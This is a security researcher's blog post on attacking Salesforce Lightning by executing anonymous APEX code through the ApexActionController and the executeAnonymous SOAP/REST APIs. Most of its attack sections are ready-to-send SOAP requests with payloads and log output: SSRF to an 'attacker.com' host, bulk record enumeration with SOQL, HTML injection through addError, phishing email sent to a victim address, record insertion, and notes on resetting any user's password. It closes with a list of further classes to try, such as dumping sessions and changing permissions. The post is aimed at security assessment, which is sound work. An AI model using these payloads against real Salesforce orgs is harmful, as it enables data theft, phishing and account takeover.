Hacking & Computer Science stuff

Salesforce Lightning exploitation through direct APEX execution

How direct APEX execution can lead to SSRF, data enumeration, XSS, phishing and more.

About Salesforce Lightning and APEX

I have already written a short introduction about Salesforce Lightning in a previous post , where I talked about the debug feature which can be enabled on the current user.

I am currently doing some interesting researches about new exploitation approaches and security assessments techniques against this technology.

To sum up and provide context for this post, Salesforce Lightning is a CRM solution, using Aura components (group of controller/methods) which can use APEX (a server-side langage, which is like Java). The Aura component can be called the way I described in my previous post (in message attribute), I will not detail again this part.

Discovery of components and services

There is a lot of controllers and services, a lot are undocumented.

Two of them were very interesting to my eyes:

ComponentMethodAuthenticationCommentDocs
ApexActionController Aura componentaura://ApexActionController/ACTION$executeNot mandatoryNot officially documented. Limited.-
Tooling & APEX APIexecuteAnonymousMandatoryDocumented. Limitation through internal permissions.APEX API, Tooling API

These are mentionned in some places:

ApexActionController.execute

Although the authentication is not (always) mandatory, this component is the less interesting one because the most restricted one I thought.
To use it, the message should include these attributes in params section:

  • namespace: the APEX namespace.
  • classname: the APEX classname.
  • method: the APEX method.
  • params: the JSON containing the parameters of the method, if any.
  • cacheable: set to false.
  • isContinuation: set to false.

How to find the correct values? With the APEX reference (the documentation is quite heavy, I didn't explore all possibilities (yet 🀑)), or from recon/knowing the tested solution.

sf_apex_ref

Example action

message={"actions":[{"id":"209;a","descriptor":"aura://ApexActionController/ACTION$execute","callingDescriptor":"UNKNOWN","params":{"namespace":"Wave","classname":"Templates","method":"getTemplates","cacheable":false,"isContinuation":false}}]}

Result:

"actions":[{"id":"209;a","state":"ERROR","returnValue":{"cacheable":true},"error":[{"exceptionType":"System.StringException","isUserDefinedException":false,"message":"This feature is not currently enabled for this user type or org: [Wave]","stackTrace":"(System Code)"}]}]

Right here, we can see that permissions restricted the execution against this namespace (Wave).

In the absence of permissions, I could list templates defined in Salesforce Lightning through APEX Wave namespace.

In fact, I did not found very interesting data by using this controller. But I think it is the best one to fuzz against custom controller and methods defined in the Salesforce Lightning scope.

Tooling API

Unfortunately, I did not had the privileges to use the tooling API. But bellow some hints for usage.

SOAP

Here it is an example to send on endpoint /services/Soap/T/59.0:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="urn:tooling.soap.sforce.com">
    <soapenv:Header>
      <apex:SessionHeader>
         <apex:sessionId>00Db0000000Jt(... REDACTED ...)</apex:sessionId>
      </apex:SessionHeader>
   </soapenv:Header>
   <soapenv:Body>
      <apex:executeAnonymous>
         <apex:String>APEX CODE</apex:String>
      </apex:executeAnonymous>
   </soapenv:Body>
</soapenv:Envelope>

REST

The endpoint is: /services/data/v59.0/tooling/executeanonymous?apexcode=APEX_CODE. You need an Authorization: Bearer HTTP with your session ID (sid).

APEX API

You need a valid authentication to use this service.

Note: the current user will inject its own context and privileges through the APEX execution flow (Sharing rules). So, privileges in place (if correctly implemented and enabled) can block the execution or some data manipulations.

Basic example

If enabled, a GET on the endpoint /services/Soap/s/59.0 (replace 59.0 with the actual used version) should have a response like HTTP/2 405 Method Not Allowed .

The following HTTP headers have to be set:

  • Soapaction: blank
  • Content-Type: text/xml

Example of SOAP XML request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
   <soapenv:Header>
      <apex:DebuggingHeader>
         <apex:categories>
            <apex:category>Apex_code</apex:category>
            <apex:level>DEBUG</apex:level>
         </apex:categories>
         <apex:debugLevel>NONE</apex:debugLevel>
      </apex:DebuggingHeader>
      <apex:SessionHeader>
         <apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
      </apex:SessionHeader>
   </soapenv:Header>
   <soapenv:Body>
      <apex:executeAnonymous>
        <apex:String>
            String s = 'Hello world!'; 
            System.debug(s);
        </apex:String>
      </apex:executeAnonymous>
   </soapenv:Body>
</soapenv:Envelope>
  • The value of <apex:sessionId> is the sid cookie.
  • The log level has been set to <apex:level>DEBUG</apex:level>
  • The executed code in between <apex:String> tags, inside the <apex:executeAnonymous> function call. This code has to be written in APEX.

The result is:

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns="http://soap.sforce.com/2006/08/apex" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Header><DebuggingInfo><debugLog>59.0 APEX_CODE,DEBUG
Execute Anonymous: String s = &apos;Hello world!&apos;; 
Execute Anonymous:             System.debug(s);
12:37:19.18 (18626819)|USER_INFO|[EXTERNAL]|005(...REDACTED...)|(...REDACTED...)|(GMT+01:00) Central European Standard Time (Europe/Paris)|GMT+01:00
12:37:19.18 (18659594)|EXECUTION_STARTED
12:37:19.18 (18670978)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
12:37:19.18 (19237675)|USER_DEBUG|[2]|DEBUG|Hello world!
12:37:19.18 (19357532)|CODE_UNIT_FINISHED|execute_anonymous_apex
12:37:19.18 (19366863)|EXECUTION_FINISHED
</debugLog></DebuggingInfo></soapenv:Header><soapenv:Body><executeAnonymousResponse><result><column>-1</column><compileProblem xsi:nil="true"/><compiled>true</compiled><exceptionMessage xsi:nil="true"/><exceptionStackTrace xsi:nil="true"/><line>-1</line><success>true</success></result></executeAnonymousResponse></soapenv:Body></soapenv:Envelope>

After the CODE_UNIT_STARTED, we can see the correct execution of the code, which is a simple logging action (thanks to the System class, in System namespace, and debug method).

Advanced examples with security impacts

The is the main question: how the security of the solution is impacted through the execution of APEX anonymous block?

There is no positive or negative answer. It depends on the settings. I will provide some examples.

You can read more about Anonymous APEX blocks in Salesforce documentation. It is said:

To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the org, users must have the Author Apex permission. For users who don’t have the Author Apex permission, the API allows restricted execution of anonymous Apex. This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the API, but not in the Developer Console. Such users are allowed to run the following in an anonymous block.

πŸ›‘ Important notice about log

We will use of System.debug() call to display the information. There is a daily limit attached to the organization. If exhausted, a message This org has reached its daily usage limit of apex log headers. will be displayed and the method will uncallable. See also https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_debugging_debug_log.htm about the limit conditions.

DebuggingHeader configuration:

  • <apex:category>: can be any of Apex_code,Apex_profiling,Workflow,Validation,Callout,Visualforce,System,NBA
  • <apex:level> and <apex:debugLevel>: can be any of NONE,ERROR,WARN,INFO,DEBUG,FINE,FINER,FINEST

SSRF vector

If you have access to System.Http, System.HttpRequest and System.HttpResponse and there is a misconfiguration in Setup->Security->Remote site settings of Salesforce, so SSRF can be executed in APEX.

Example:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
   <soapenv:Header>
      <apex:DebuggingHeader>
         <apex:categories>
            <apex:category>Apex_code</apex:category>
            <apex:level>DEBUG</apex:level>
         </apex:categories>
         <apex:debugLevel>NONE</apex:debugLevel>
      </apex:DebuggingHeader>
      <apex:SessionHeader>
         <apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
      </apex:SessionHeader>
   </soapenv:Header>
   <soapenv:Body>
      <apex:executeAnonymous>
        <apex:String>
    HttpRequest req = new HttpRequest();
    req.setEndpoint('https://attacker.com/');
    req.setMethod('GET');
    Http http = new Http();
    HTTPResponse res = http.send(req);
    for (String h : res.getHeaderKeys()) {
 	  System.debug(h + ':' + res.getHeader(h));
    }
    System.debug(res.getBody());
        </apex:String>
      </apex:executeAnonymous>
   </soapenv:Body>
</soapenv:Envelope>

Arbitrary object manipulation through SOQL

Instead of searching for SQL/SOQL injection, why not directly doing complete SOQL queries?

It is especially usefull when you encountered the error OPERATION_TOO_LARGE: exceeded 100000 distinct ids πŸ’€.

SOQL is a kind of sublangage in APEX, standing for Salesforce Object Query Language, in order to insert, update or delete data.

Example of selection

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
   <soapenv:Header>
      <apex:DebuggingHeader>
         <apex:categories>
            <apex:category>Apex_code</apex:category>
            <apex:level>DEBUG</apex:level>
         </apex:categories>
         <apex:debugLevel>NONE</apex:debugLevel>
      </apex:DebuggingHeader>
      <apex:SessionHeader>
         <apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
      </apex:SessionHeader>
   </soapenv:Header>
   <soapenv:Body>
      <apex:executeAnonymous>
         <apex:String>
DateTime someDate = DateTime.newInstance(2022, 1, 1, 0, 0, 0);
List&lt;Attachment&gt; items = [SELECT Id, Name FROM Attachment WherE CreatedDate > :someDate];

for (Attachment i : items) {
    System.debug('ID: ' + i.Id);
}</apex:String>
      </apex:executeAnonymous>
   </soapenv:Body>
</soapenv:Envelope>

Example of output:

13:50:36.25 (25281683)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
13:50:37.672 (1672192393)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672274250)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672323214)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672352228)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672377415)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672403438)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672437436)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)
13:50:37.672 (1672461787)|USER_DEBUG|[6]|DEBUG|ID: 00P67(... REDACTED ...)

SOQL queries are executed in the SYSTEM_MODE. Maybe the usage of the keywords WITH SYSTEM_MODE could be interesting ...

For example, these requests could retrieve different results:

  • List<Account> acc = [SELECT Id FROM Account WITH USER_MODE];
  • List<Account> acc = [SELECT Id FROM Account WITH SYSTEM_MODE];

XSS / HTML injection vector

There is a method in APEX which can render HTML in errors messages. It is located in System.Id class, on addError(errorMsg, escape) method. There is also a warning about this feature in the documentation:

sf_warn_injection

The usage is unclear, but you need to find or create one or several object, to add error.

Example with pre-selection from SOQL query:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
   <soapenv:Header>
      <apex:DebuggingHeader>
         <apex:categories>
            <apex:category>Apex_code</apex:category>
            <apex:level>DEBUG</apex:level>
         </apex:categories>
         <apex:debugLevel>NONE</apex:debugLevel>
      </apex:DebuggingHeader>
      <apex:SessionHeader>
         <apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
      </apex:SessionHeader>
   </soapenv:Header>
   <soapenv:Body>
      <apex:executeAnonymous>
        <apex:String>
        List&lt;ContentVersion&gt; items = [SELECT Id FROM ContentVersion];

        for (ContentVersion i : items) {
            i.addError('&lt;b&gt;Hello world&lt;/b&gt;', false);
        }
        </apex:String>
      </apex:executeAnonymous>
   </soapenv:Body>
</soapenv:Envelope>

If not possible, you will have an error like System.FinalException: SObject row does not allow errors.

It can also be used on fields through System.SObject class.

Arbitrary mail send / phishing

How about sending emails through the solution? Let's go!

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
   <soapenv:Header>
      <apex:DebuggingHeader>
         <apex:categories>
            <apex:category>Apex_code</apex:category>
            <apex:level>DEBUG</apex:level>
         </apex:categories>
         <apex:debugLevel>NONE</apex:debugLevel>
      </apex:DebuggingHeader>
      <apex:SessionHeader>
         <apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
      </apex:SessionHeader>
   </soapenv:Header>
   <soapenv:Body>
      <apex:executeAnonymous>
        <apex:String>
            Messaging.SingleEmailMessage e = new Messaging.SingleEmailMessage();
            e.setHtmlBody('Subject of the mail');
            e.setSubject('Oops ...');
            e.setToAddresses(new String[]{'victim@whatever.com'});
            Messaging.sendEmail(new Messaging.SingleEmailMessage[]{e});
        </apex:String>
      </apex:executeAnonymous>
   </soapenv:Body>
</soapenv:Envelope>

If privileges are required, you will have an error like:

16:14:52.21 (98133117)|EXCEPTION_THROWN|[6]|System.EmailException: SendEmail failed. First exception on row 0; first error: INSUFFICIENT_ACCESS_OR_READONLY, User doesn&apos;t have right privileges to send single email: []
16:14:52.21 (99128753)|FATAL_ERROR|System.EmailException: SendEmail failed. First exception on row 0; first error: INSUFFICIENT_ACCESS_OR_READONLY, User doesn&apos;t have right privileges to send single email: []

Arbitrary object manipulation through DML

DML is another kind of sublangage in APEX, standing for Data Manipulation Langage, in order to insert, update or delete data.

Example of insertion

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:apex="http://soap.sforce.com/2006/08/apex">
   <soapenv:Header>
      <apex:DebuggingHeader>
         <apex:categories>
            <apex:category>Apex_code</apex:category>
            <apex:level>DEBUG</apex:level>
         </apex:categories>
         <apex:debugLevel>NONE</apex:debugLevel>
      </apex:DebuggingHeader>
      <apex:SessionHeader>
         <apex:sessionId>00Db0000000Jtgl!ARgAQK(...)</apex:sessionId>
      </apex:SessionHeader>
   </soapenv:Header>
   <soapenv:Body>
      <apex:executeAnonymous>
        <apex:String>
            Account newAccount = new Account();
            insert newAccount;
        </apex:String>
      </apex:executeAnonymous>
   </soapenv:Body>
</soapenv:Envelope>

A lot of object type can exist (thousands ...), a fuzzing against these operation can be prolific πŸš€ (But beware of System.Debug limits!).

In case of permissions gate, you will have an error like: DML operation Insert not allowed on Account.

Arbitrary password reset with/without arbitrary mail send

References:

There are some warnings like "Be careful with this method, and do not expose this functionality to end-users".

You could send mail or reset password of any user, if you know its ID. Nice uh? πŸ’‘

In case of restriction, you will get the error System.InvalidParameterValueException: INSUFFICIENT_ACCESS: Unable to set/reset password, you do not have sufficient permissions to complete this operation.

Other attack vectors to explore & conclusion

I didn't have the privileges to explore or to find a correct exploit with some other classes/methods, but feel free to explore them by yourself (and share!):

  • The Cache.Session class, to dump sessions.
  • The Messaging.MassEmailMessage for ... mass-mailing.
  • The DataWeave.Script class for DataWeaver script.
  • The System.schedule method for scheduling internal jobs.
  • The Dom.Document to manipulate XML (yes, I tried XXE - does not work :))
  • The Messaging.renderEmailTemplate to render template (I tried to abuse directives and built-in variables, but without success).
  • The Metadata.CustomMetadata, where "Public custom metadata types are readable for all profiles, including the guest user"
  • The System.FeatureManagement.changeProtection for update permissions.
  • ...

Salesforce Lightning is a complex solution to secure: permissions on objects, fields, controllers ... with a vast API landscape.

I hope this article will be useful for your Salesforce Lightning security assessment!

(Happy Hacking! πŸ‘€)

Β© SΓ©bastien Copin (cosades) 2024